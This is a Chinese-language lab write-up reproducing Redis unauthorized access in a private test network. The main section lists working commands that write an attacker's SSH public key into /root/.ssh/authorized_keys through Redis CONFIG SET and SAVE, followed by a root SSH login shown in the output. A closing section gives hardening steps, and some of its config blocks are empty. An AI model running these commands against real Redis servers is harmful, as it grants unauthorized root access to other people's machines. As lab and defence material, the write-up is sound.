漏洞复现-rides未授权访问

0x00 环境准备

- 达成效果：不知道密码的情况下，远程ssh连接靶机
- 达成条件：

```
# 1.关闭rides受保护模式
vim /etc/redis/6379.conf
注释 bind 127.0.0.1 ::1
protected no
redis-server    # 重启redis服务器
###########or############
redis-server&   # 后台启动redis
redis-cli       # 进入redis客户端
CONFIG SET protected-mode no    # 关闭rides受保护模式
########################

# 2.免密登陆Redis服务
```

靶机-CentOS 7	攻击机-Kali
192.168.12.135	192.168.12.137

0x01 安装rides服务器

详细查看：

0x02 复现步骤

一、靶机：

```
# 开启redis服务器
redis-server&

# 默认是没有.ssh这个目录的，当使用ssh登录一次过后会自动生成
ssh localhost       # 不管是否登录成功，都会生成/root/.ssh文件
##################or##################
# 创建密钥存放目录
mkdir /root/.ssh
```

二、攻击机：

```
# 生成ssh公钥和私钥，密码设置为空
ssh-keygen -t rsa   # 生成公钥(id_rsa.pub)到.ssh/目录

# 切换到.ssh/目录
cd .ssh/

# 查看公钥内容
```

```
cat id_rsa.pub

# 写入到key.txt文件中（写入空行，防止前后出现乱码）
(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n") > key.txt

# 将key.txt写到redis服务器
cat ~/.ssh/key.txt | redis-cli -h 192.168.12.135 -p 6379 -x set xxx
# -x 代表从标准输入读取数据作为该命令的最后一个参数

# 登录redis服务器
redis-cli -h 192.168.12.135
# 更改Redis备份路径为ssh公钥存放目录（一般默认是/root/.ssh）
config set dir /root/.ssh/
# 设置上传公钥的备份文件名字为 authorized_keys
config set dbfilename authorized_keys
save
```

```
# ssh远程连接
ssh root@192.168.12.135
```

```
┌──(root㉿kali)-[~]
└─# ssh root@192.168.12.135
The authenticity of host '192.168.12.135 (192.168.12.135)' can't be establish
ed.
ED25519 key fingerprint is SHA256:dNl3BKDbBo/BtJy9SEP6e8emZAjPX0tD0lNPooJNoz4
.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.12.135' (ED25519) to the list of known ho
sts.
Last login: Tue Nov 29 23:17:18 2022 from 192.168.12.1
[root@CentOS7-2 ~]#
```

0x03 安全性配置

1. redis服务器默认远程连接没有密码，需要去设置连接密码

```
#主配置文件中添加
requirepass root@123
```

2. 开启受保护模式，主要解决没有绑定服务器地址或没有设置密码

```
# 主配置文件中设置

```

3. 使用普通用户来运行redis服务器

```
# 创建普通用户
useradd -M redis
# 修改redis服务器的日志文件及数据库存放目录的权限
chown redis:redis /var/log/redis_6379.log
chown -R redis:redis /var/lib/redis/6379
```

4. 将redis服务器中的高危命令禁用（将高危命令直接改名，改成其他名字或直接为空）

```
# 主配置文件中设置

```

5. 设置超时时间（）

```
# 主配置文件中设置
timeout 10      # 客户端10秒没有操作，自动断开
```

6. 修改redis服务器的默认端口号

```
# 主配置文件中设置
port 6679
```

7. 通过对Linux服务器的防火墙进行策略配置
    - 采用iptables或者firewalld防火墙对连接redis服务器进行指定，仅允许某台主机可以连接